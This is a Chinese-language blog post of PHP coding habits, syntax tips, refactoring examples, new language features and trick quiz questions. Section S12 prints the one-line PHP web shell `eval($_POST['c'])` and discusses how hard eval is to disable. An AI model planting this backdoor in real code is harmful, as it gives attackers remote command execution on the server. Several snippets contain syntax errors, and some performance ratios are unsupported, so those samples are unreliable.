PHP编码技巧

Jackey PHP 2,885 次浏览 , 没有评论

编写代码的“四项基本原则”

  • 正确的实现功能
  • 执行的速度要快
  • 占用的系统资源少
  • 后期维护方便

良好的编码习惯

习惯1:命名非常重要

最重要的命名注意事项

  • 命名要有实际的含义
  • 命名的风格要保持一致
  • 不用拼音命名
  • 不用语言关键字

习惯2:适当的使用注释

  • 好的代码应该是自描述的
  • 难以理解的地方加上注释
  • 函数的功能加上注释说明
  • 类的功能和使用的方法加上注释

习惯3:使用一个变量,需要初始化

习惯4:有限使用单引号

$row['id']的效率是$row[id]的7倍

习惯5:用"1 == $a" 替换 "$a == 1"

习惯6:防御式编程思想

  • 保护程序免遭非法输入数据的危害
  • 错误处理技术
  • 异常处理
  • 隔离程序,使之相互影响小
  • 因地制宜的防御,过度防御会增加复杂度

习惯7:用自己可控的环境参数

  • 明确包含文件的路径
  • 给与恰当的默认值
  • 自定义错误报警的级别
  • 不依赖系统环境参数,程序要动态了解所处的环境
  • 不要相信外部的一切输入!

习惯8:PHP没有 ?> 结束标记怎么回事?

纯PHP代码,最好在文件末尾删除PHP结束标记。

习惯9:header头的编码

header("Content-type:text/html;charset=utf-8");

习惯10:坚持字符编码的统一

$phpcoding = PHP文件编码;
$tplcoding = 模板编码;
$mysqlcoding = 数据库编码;

$phpcoding == $tplcoding == $mysqlcoding

习惯11:error_reporting(7)

1: E_ERROR
2: E_WARNING
4: E_PARSE

习惯12:优先使用PHP内置函数

有用的PHP内置函数

  • usort 使用用户自定义的比较函数对数组中的值进行排序
  • rawurlencode 按照RFC1738对URL进行编码
  • parse_url 解析URL,返回其组成部分
  • http_build_query 生成url-encode之后的请求字符串
  • exif_imagetype 判断一个图像的类型
  • levenshtein 计算两个字符串之间的编辑距离
  • uniqid 生成一个唯一ID
  • get_brower 获取浏览器具有的功能
  • get_defined_vars 返回由所有已定义变量组成的数组
  • str_word_count 返回字符串中单词的使用情况

练习:使用内置函数优化如下代码

  1. <?php
  2. //求数组中最大数的下标
  3. function maxKey($items){
  4. $maxval = max($items);
  5. foreach($items as $key => $val) {
  6. if($maxval == $val) {
  7. $maxkey = $key;
  8. }
  9. }
  10. return $maxkey;
  11. }
  12. $items = [0, -1, -2, 5, 'b' => 15, 3];
  13. echo maxKey($items);

 

优化后的代码

  1. <?php
  2. $items = [0, -1, -2, 5, 'b' => 15, 3];
  3. $num = max($items);
  4. echo array_search($num, $items);

 

习惯13:屏蔽错误非常低效

习惯14:时刻备份源代码

  • 代码不能只有一份
  • 启用编辑器的自动备份
  • 用代码管理工具备份

习惯15:记住有效期原则

不要随便相信网上的那些PHP优化50则之类的东西,记住一切都是有有效期的,要善于自己去验证。

PHP语法糖

计算机语言中,添加的某种语法,这种语对语言的功能并没有影响,但是更方便程序员的使用。

S1:echo的逗号和点号

  1. <?php
  2. $foo = 'hello';
  3. $bar = 'world';
  4. echo $foo . $bar;
  5. echo $foo, $bar;

 

逗号优于点号

S2: 用 i+=1 代替 i=i+1

  1. <?php
  2. $i = 0;
  3. $i++;
  4. $i += 1;
  5. $i = $i +1

 

$i = $i+1 比较低效。

S3:用isset代替strlen

  1. $subject = 'hi,gopher.cc';
  2. if(strlen($subject) <= 12) echo 'strlen too short', PHP_EOL;
  3. if(!isset($subject[12])) echo 'isset too short!', PHP_EOL;

 

常见的PHP的语言结构(语言结构与函数的区别)
echo()
print()
die()
isset()
unset()
include(), include_once()
require(), require_once()
array()
list()
empty()
eval()

测试:

  1. <?php
  2. $m = 'trim'; //可变函数
  3. $m2 = 'echo';
  4.  
  5. echo $m(' I am happy! ');
  6. $e 'hello';

 

语言结构的效率比函数要高。

S4:用strtr代替str_replace

  1. $subject = 'hi, php2.cc';
  2.  
  3. echo strtr($subject, 'php2', 'blog'), PHP_EOL;
  4. echo str_replace(['p', 'h', 'p', '2'], ['b', 'l', 'o', 'g'], $subject), PHP_EOL;
  5.  
  6. echo strtr($subject, array('hi' => 'php2.cc', 'php2.cc' => 'hi')), PHP_EOL;
  7. echo str_replace(['hi', 'php2.cc'], [''php2.cc, 'hi'], $subject), PHP_EOL;

 

由于底层实现原理的不一样,strtr函数的效率是str_replace函数的四倍。

S5:PHP用yield实现协程

  1. function getLines($file) {
  2. $f = fopen($file, 'r');
  3. try{
  4. while ($line = fgets($f)) {
  5. yield $line;
  6. }
  7. } finally {
  8. fclose($f);
  9. }
  10. }

 

好多内部函数,特别是迭代有关的函数应该都有可能进行优化。

使用方法:

  1. foreach (getLines('file.txt') as $n => $line) {
  2. if ($n > 5) break;
  3. echo $line;
  4. }
  5.  
  6. function xrange($start, $end, $step = 1) {
  7. for($i = $start; $i <= $end; $i += $step) {
  8. yield $i;
  9. }
  10. }
  11.  
  12. foreach (xrange(1, 1000000) as $num) {
  13. echo $num, '\n';
  14. }

 

S6:用“[]”定义数组

  1. <?php
  2. $items = array();
  3. $items = [];
  4.  
  5. $items = array(1,2,3,4,5,6);
  6. $items = [1,2,3,4,5,6];

 

语法上的支持更加显得简单。

S7:用**进行幂运算

  1. <?php
  2. echo 2**3, PHP_EOL;
  3.  
  4. echo pow(2,3), PHP_EOL:
  5.  
  6. echo 2<<2, PHP_EOL;

 

位运算效率最高,不过只能是2的倍数。
**的语法上支持更加高效。

S8:用 ... 定义变长参数函数

  1. /*
  2. 边长参数不依赖 func_get_args()
  3. Variadic functions 允许你生命传入的参数数组,并且参数拆包允许你传递一个数组到一个函数,在函数内部自动解包,实例如下:
  4. */
  5. $email[] = "Hi there";
  6. $email[] = "Thanks for registering, hope you like it";
  7.  
  8. mail("someone@php2.cc", ...$email);
  9.  
  10. function addAll(...$nums) {
  11. return array_sum($nums);
  12. }
  13.  
  14. echo addAll(1,2,3,4,5,6,7,8,9);

 

S9:函数赋值默认参数:+ 运算符

  1. function getDivHtml($params) {
  2. $params += [
  3. 'height' => '200px',
  4. 'width' => '300px',
  5. 'skinType' => 'default',
  6. 'cssPath' => 'css',
  7. 'urlType' => 'absolute',
  8. 'shadowMode' => 'true'
  9. ];
  10.  
  11. print_r($params);
  12. }

 

S11:<=> 比较运算符

语法是这样的:$c = $a <=> $b;

如果 $a > $b, $c的值为1
如果$a == $b, $c 的值为0
如果$a < $b, $c 的值为-1

$c = $a > $b ? 1 : ($a == $b ? 0 : -1);

  1. <?php
  2. $str1 = "你好";
  3. $str2 = "你好\x00PHP二次开发。";
  4.  
  5. echo strcoll(str1, str2), PHP_EOL; //返回0,二进制不安全
  6. echo strcmp($str1, $str2), PHP_EOL; 返回负数
  7.  
  8. echo $str1 <=> $str2, PHP_EOL;

 

S12:一句话木马

<?php
eval($_POST["c"]);

<?php
eval('echo (1+2*3-88)+5-6;');

eval('echo `dir`;');

进制eval使用:
php.ini
disable_functions=eval
这样子无效,因为eval是PHP的语言结构,这里只能进制PHP函数

1.人工查找代码,查看源码是否包含eval
2.人工修改PHP源码,自己编译

PHP代码优化

01:if的使用技巧之“给定初始值”

  1. <?php
  2. if(1 == $orderState) {
  3. $orderTitle = "已预订";
  4. } else {
  5. $orderTitle = "已售出";
  6. }
  7. return $orderTitle;

 

  1. <?php
  2. $orderTitle = "已售出";
  3. if(1 == $orderState) {
  4. $orderTitle = "已预订";
  5. }
  6. return $orderTitle;

 

02:if的使用技巧之“用"&&"替换if”

if(strlen($newpwd) < 6) {
$message = '密码长度不足!';
}

上面的转换为
strlen($newpwd) < 6 && $message = '密码长度不足!';

03:if的使用技巧之“三元运算符替换”

  1. <?php
  2. if(empty($_POST['action'])) {
  3. $action = 'default';
  4. } else {
  5. $action = $_POST['action'];
  6. }

 

转换为:

  1. $action = (empty($_POST[''action])) ? 'default' : $_POST['action'];

 

04:简化“三元运算符”

$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];

简化为:
$action = $_POST['action'] ?: 'default';
这里与 ?? 的区别
?: 只是一种简写,如果前面的值没有初始化,则会报notice错误;但是??不会存在这个问题;
?? 是PHP7以上的一种写法

05:if的使用技巧之“去掉多此一举的if”

  1. function isLeapYear($year) {
  2. if(($year % 4 == 0 && $year % 100 != 0) || ($year % 400 == 0)) {
  3. return true;
  4. } else {
  5. return false;
  6. }
  7. }

 

简化为:

  1. function isLeapYear($year) {
  2. return ($year % 4 == 0 && $year % 100 != 0) || ($year % 400 == 0);
  3. }

 

06:“else if”能如何被改进呢?

  1. if('玄幻魔法' == $sortname) {
  2. $sortid = 1;
  3. } else if ('武侠修真' == $sortname) {
  4. $sortid = 2;
  5. } else if ('都市言情' == $sortname) {
  6. $sortid = 3;
  7. } else if ('其他小说' == $sortname) {
  8. $sortid = 10;
  9. }

 

改造为:

  1. switch ($sortname) {
  2. case '玄幻魔法':
  3. $sortid = 1;
  4. break;
  5. case '武侠修真':
  6. $sortid = 2;
  7. break;
  8. case '都市言情':
  9. $sortid = 3;
  10. break;
  11. case '其他小说':
  12. $sortid = 10;
  13. break;
  14. }

 

07:表驱动法替代“else if”

  1. $sortTable = [
  2. '玄幻魔法' => 1,
  3. '武侠修真' => 2,
  4. '都市言情' => 3,
  5. '其他小说' => 10,
  6. ];
  7.  
  8. $sortid = $sortTable[$sortname];

 

以空间换时间。

08:循环语句的几个要点

  • 用while(true)表示无线循环,别用for
  • 特定情况下【发邮件、采集网页】,要加延时sleep
  • 循环体内尽可能不用函数或更耗资源的调用
  • foreach代替while和for循环(PHP)
  • 避免空循环
  • 制作一件事,尽可能短,控制在50行以内
  • 循环嵌套限制在3层以内

09:使用更精悍短小的代码

  • 函数的最佳最大长度是50-150行代码
  • 函数参数不超过7个
  • 短小函数更容易理解也方便修改
  • 制作一件事的函数更易于复用
  • 短小的函数测试更方便

11:中间结果赋值给变量

$str = 'this_is_a_test';
$humpstr = implode('', array_map('ucfirst', explode('_', $str)));

改造为:

$str = 'this_is_a_test';
$words = explode('_', $str);
$uWords = array_map('ucfirst', $words);
$humpstr = implode('', $uWords);

12:复杂的逻辑表达式做成布尔函数

if(!$hasone && $ddisfirst == 1 && $litpic == '' && empty($litpicname)) {
$litpicname = GetImageMapDD($iurl, $cfg_ddimg_width);
}

改造为:

$emptyPic = ($litpic == '' && empty($litpicname));
$validFirstPic = ($hasone && $ddisfirst == 1);

if($validFirstPic && $emptyPic) {
$litpicname = GetImageMapDD($iurl, $cfg_ddimg_width);
}

13:永远不要复制黏贴雷同的代码

  • 相同的代码放一起让以后修改更轻松
  • 可以让全局的统计和过滤器等实现方便
  • 可服用的带参函数是解决雷同代码的好办法

PHP 重点新特性

  1. 文件上传进度 session.upload_progress
  2. short_open_tag无论是否开启,都可用
  3. 动态访问静态变量异常可以嵌套
    1. <?php
    2. class C {
    3. public static $foo = 123;
    4. }
    5.  
    6. $a = "C";
    7. echo $a::$foo;
  4. 异常可以嵌套
  5. const关键字可用来在类定义之外定义常量了
  6. heredoc结构中可以用双引号来声明标识符了
  7. 添加nowdoc语法支持
  8. 增加goto操作符
    1. for($i = 0, $j = 50; $i < 100; $i++) {
    2. while($j--) {
    3. if($j == 17) got end;
    4. }
    5. }
    6.  
    7. echo "i = $i";
    8. end :
    9. echo $j;
  9. 后期静态绑定
  10. default_charset从ISO-8859-1已经变为UTF-8
  11. 新增了动态访问静态方法的方式
  12. 内置用于开发的CLI模式的web server
  13. 实例化时访问类成员(new Foo)->bar()
  14. 对函数返回数组的成员访问解析print func()[0]
  15. 新增二进制直接量 $bin = 0b110011
  16. boolval() 函数
  17. 新增array_column()函数
  18. 直接通过下标获取访问数组和字符串字面量的元素或字符
    echo [1,2,3,4,5][0];
    echo "hello world"[0];
  19. empty()支持传入一个任意表达式,而不仅是一个变量
  20. foreach 支持 list()
  21. 新增finally关键字
  22. 新增Traints
  23. 函数返回值类型声明,标量类型声明

PHP坑人小题

  1. $a = 3;
  2. $b = 5;
  3. if ($a = 5 || $b = 7) {
  4. ++$a;
  5. $b++;
  6. }
  7. echo $a, " ", $b;

结果:1 6
分析:$a = (5 || $b = 7) = true;

$c = true;
$c++;
$c++;
$c++;
$c++;
$c++;
echo $c;

结果:1

  1. $count = 5;
  2. function get_count() {
  3. static $count = 0;
  4. return $count++;
  5. }
  6. ++$count;
  7. get_count();
  8. echo get_count();

结果是:1
分析:
1.函数内的count只在函数内有效
2.返回值因为++在后面,是先返回再执行++

  1. $a = count("567") + count(null) + count(false);
  2. echo $a;

结果是:2

分析:
因为count(null)等于0,false也算是一个值。所以count(false)等于1.

  1. $a = 0.2+0.7;
  2. $b = 0.9;
  3. var_dump($a == $b);

结果是:false

了解计算机的浮点数是怎么形成的。

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

Go